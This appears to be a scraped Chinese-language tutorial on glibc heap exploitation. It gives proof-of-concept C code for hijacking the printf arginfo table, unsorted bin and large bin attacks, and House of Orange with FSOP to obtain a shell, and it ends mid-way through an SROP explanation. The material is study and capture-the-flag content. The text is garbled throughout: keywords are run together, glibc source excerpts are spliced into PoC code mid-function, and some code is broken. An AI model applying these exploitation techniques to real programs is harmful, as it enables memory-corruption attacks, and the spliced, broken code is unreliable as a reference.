/** * binary_arginfo - Custom arginfo function for binary format specifier * @info: Pointer to printf_info structure * @n: Number of arguments * @argtypes: Array to store argument types */ intbinary_arginfo(conststruct printf_info *info, size_t n, int *argtypes) { if(n > 0) { argtypes[0] = PA_INT; // The type of the argument is int } return1; // Number of arguments used }
/** * binary_handler - Custom handler function for binary format specifier * @stream: Output stream * @info: Pointer to printf_info structure * @args: Array of argument pointers */ intbinary_handler(FILE *stream, conststruct print_info *info, constvoid *const *args) { int val = *((constint *)args[0]); // Retrieve the integer argument for(int i = sizeof(int) *8-1; i >= 0; i--) { fputc((val >> i) & 1 ? '1' : '0', stream); // Print each bit } }
intmain() { // Register the custom binary format specifier 'b' register_printf_specifier('b', binary_handler, binary_arginfo);
// Test the custom format specifier int number = 15; printf("Binary representation of %d is: %b\n", number, number);
/* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) { if (spec < 0 || spec > (int) UCHAR_MAX) { __set_errno (EINVAL); return-1; }
int result = 0; __libc_lock_lock (lock);
if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; }
/* The function itself. */ int vfprintf(FILE *s, const CHAR_T *format, va_list ap, unsignedint mode_flags) { ...... /* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional; // <--- 情况1 ... LABEL (width_asterics): // ... if (pos && *tmp == L_('$')) /* The width comes from a positional parameter. */ goto do_positional; // <--- 情况2 ... LABEL (width): // ... if (*f == L_('$')) /* Oh, oh. The argument comes from a positional parameter. */ goto do_positional; // <--- 情况3 LABEL (precision): // ... if (pos && *tmp == L_('$')) /* The precision comes from a positional parameter. */ goto do_positional; // <--- 情况4 LABEL (form_unknown): // ... /* If we are in the fast loop force entering the complicated one. */ goto do_positional; // <--- 情况6 ...
/* Hand off processing for positional parameters. */ do_positional: done = printf_positional (s, format, readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep, mode_flags); ...... }
size_t attribute_hidden #ifdef COMPILE_WPRINTF __parse_one_specwc (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg) #else __parse_one_specmb (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg) #endif { ..... /* Get the format specification. */ spec->info.spec = (wchar_t) *format++; spec->size = -1; if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) { /* Find the data argument types of a built-in spec. */ spec->ndata_args = 1;
/* overwrite __printf_arginfo_table and __printf_function_table */ free(a[1]);// __printf_function_table => a heap_addr which is not NULL free(a[2]);//__printf_arginfo_table => one_gadget
/* ignite! */ printf("%X", 0);
return0; }
简析
该POC模拟了一次 UAF 和 Unsorted Bin Attack。通过 Unsorted Bin Attack 修改 global_max_fast 为 main_arena + 88,使得基本上所有堆块free之后都会进入fast bin。 fast bin 中的堆块会按照 size 从 main_arena + 0x10 开始往下写,通过设定好的大小就能实现覆写__printf_arginfo_table为ogg
structuser_regs_struct { long ebx, ecx, edx, esi, edi, ebp, eax; int xds, xes, xfs, xgs; long orig_eax; // 系统调用号 long eip; // 指令指针 short xcs, xss, xds, xes, xfs, xgs; long eflags, esp; };
intmain(){ // 程序开始时的提示信息 fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
// 对应中文: /* fprintf(stderr, "本程序演示如何通过 unsorted bin 攻击将一个大的无符号长整型值写入栈中。\n"); fprintf(stderr, "在实际攻击中,unsorted bin 攻击通常是为了进一步攻击做准备,例如修改 libc 中的全局变量 global_max_fast,以便进行 fastbin 攻击。\n\n"); */
unsignedlong stack_var=0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsignedlong *p=malloc(0x500); fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" "the first one during the free()\n\n"); malloc(0x600);
free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " "point to %p\n",(void*)p[1]);
// 对应中文: /* fprintf(stderr, "我们现在已经释放了第一个内存块,它将被插入到 unsorted bin 中,其 bk 指针指向:%p\n", (void*)p[1]); */
//------------VULNERABILITY-----------
p[1]=(unsignedlong)(&stack_var-2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
malloc(0x500); fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " "rewritten:\n"); fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); }
Large bin attack 自然是作用于 Large bin的,该攻击手段适用于目前所有版本的libc(高低版本略有不同)。glibc 2.30是一个分水岭,这个攻击比Unsorted Bin Attack 更为强大,它能实现将一个堆的头地址写入一个任意地址。
Large Bin 基础
基础概念
large bin是一种堆分配的管理机制,是双向链表,用于管理大于某个特定大小阈值的内存块。一般而言,进入large bin的最低字节为0x200(512),但是由于引入了tcache,使得在tcache尚未填满之前的情况下,进入large bin的最低字节为0x410(不含chunk头),所以一般我们设置大堆块都是0x410起步的。
结构
large bin中含有63个链表,而large bins **总体又被分成了6个组,**每个组对应一个区间,且容纳的堆块数量指数型减少,示意图如下
intmain(){ /*Disable IO buffering to prevent stream from interfering with heap*/ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0);
// 原始输出保留不变 printf("\n\n"); printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n"); printf("Check 1 : \n"); printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n"); printf("Check 2 : \n"); printf("> if (bck->fd != fwd)\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n"); printf("This prevents the traditional large bin attack\n"); printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n"); printf("====================================================================\n\n");
size_t target = 0; // 目标覆盖地址 printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
// 分配第一个large chunk并设置保护块 size_t *p1 = malloc(0x428); // 分配0x428大小的块(属于large bin) printf("First, we allocate a large chunk [p1] (%p)\n",p1-2); size_t *g1 = malloc(0x18); // 小块保护防止合并 printf("And another chunk to prevent consolidate\n");
// 分配第二个较小的large chunk并设置保护块 size_t *p2 = malloc(0x418); // 分配0x418大小的块(比p1小但同属large bin) printf("We also allocate a second large chunk [p2] (%p).\n",p2-2); printf("This chunk should be smaller than [p1] and belong to the same large bin.\n"); size_t *g2 = malloc(0x18); // 小块保护防止合并 printf("Once again, allocate a guard chunk to prevent consolidate\n");
// 释放顺序和large bin插入触发 free(p1); // 先释放较大的块 printf("Free the larger of the two --> [p1] (%p)\n",p1-2); size_t *g3 = malloc(0x438); // 分配更大的块触发p1插入large bin printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
// 释放较小块并进入unsorted bin free(p2); // 释放较小的块 printf("Free the smaller of the two --> [p2] (%p)\n",p2-2); printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2); printf("and one chunk in unsorted bin [p2] (%p)\n",p2-2);
// 关键的漏洞利用点 - 修改bk_nextsize指针 p1[3] = (size_t)((&target)-4); // 伪造large bin链表指针 printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
// 触发第二次large bin插入并完成地址覆盖 size_t *g4 = malloc(0x438); // 分配大于p2的块触发插入 printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2); printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n"); printf(" the modified p1->bk_nextsize does not trigger any error\n"); printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
// 验证漏洞利用结果 printf("\n"); printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target); printf("Target (%p) : %p\n",&target,(size_t*)target);
如简介中所说,House Of ORange 的第一步在于,程序中没有提供free的情况下,我们要得到一个进入unsorted bin 的chunk进行后续的泄露。我们来详细分析一个这个过程。对于主arena 和 非主arnea 的处理方式略有不同,我们这里仅讨论主 arena 的情况。
我们知道malloc函数底层会执行_int_malloc函数,在_int_malloc函数中,当我们申请内存的时候,他会依次扫描tcache(如果有的话)、fast bin 、unsorted bin、small bin、large bin 是否有符合要求的堆块,如果都没有,_int_malloc就会试图从**top chunk **中尝试分配,但如果 top chunk 的大小仍无法满足要求,就会执行如下分支
我们的 top chunk 的大小是我们通过溢出等方法修改的,所以执行到sysmalloc的时候brk分配的内存必然和当前的top chunk 是不连续的,因此 top chunk 必然会被放入 unsorted bin 以便后续的泄露
获取libc之后,就可以开始进行 unsorted bin attack 了,我们通过 unsort bin attack 去劫持IO来进行 FSOP
FSOP的核心是劫持IO_FILE结构体。使之落在我们可控的内存上。这就意味着我们是可以控制vtable的,我们将vtable中的_IO_overflow函数地址改成system地址即可,而这个函数的第一个参数就是IO_FILE结构体的地址。如果我们让IO_FILE结构体中的flags成员为/bin/sh字符串,那么当执行exit函数或者libc执行abort流程时或者程序从main函数返回时触发了_IO_flush_all_lockp 即可 get shell
正常的IO链表结构是这样的
我们布局之后的结构是这样的
下面我们来看一下,我们成功布局需要绕过的一些检测
1 2 3 4 5 6 7 8 9
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF;
/* House of Orange 攻击演示 利用堆溢出篡改 _IO_list_all 指针 需要泄漏堆地址和 libc 地址 原理参考:http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html */
// 模拟已知 system 函数地址的场景 intwinner(char *ptr); intmain() { // 攻击前提:堆溢出可篡改 Top Chunk 元数据 // 初始堆空间完全属于 Top Chunk // 每次分配会从 Top Chunk 分割内存,导致其逐渐缩小 char *p1, *p2; size_t io_list_all, *top;
// 【重要版本提示】 // glibc 2.26 后 malloc_printerr 不再调用 _IO_flush_all_lockp(commit 91e7cf98) // glibc 2.24 引入 _IO_FILE 虚表白名单机制,无法通过修改虚表为堆地址来进行攻击 fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, " "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"); fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit," "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
可以注意到:Signal Frame是保存在用户空间上的,对用户来说是可读可写的,而且内核与信号处理程序没有直接关联 ,它并不会去记录每个 signal 所对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。也就是说,我们可以通过伪造 Signal Frame来控制各个寄存器的值以此来达到攻击的目的。 比如说: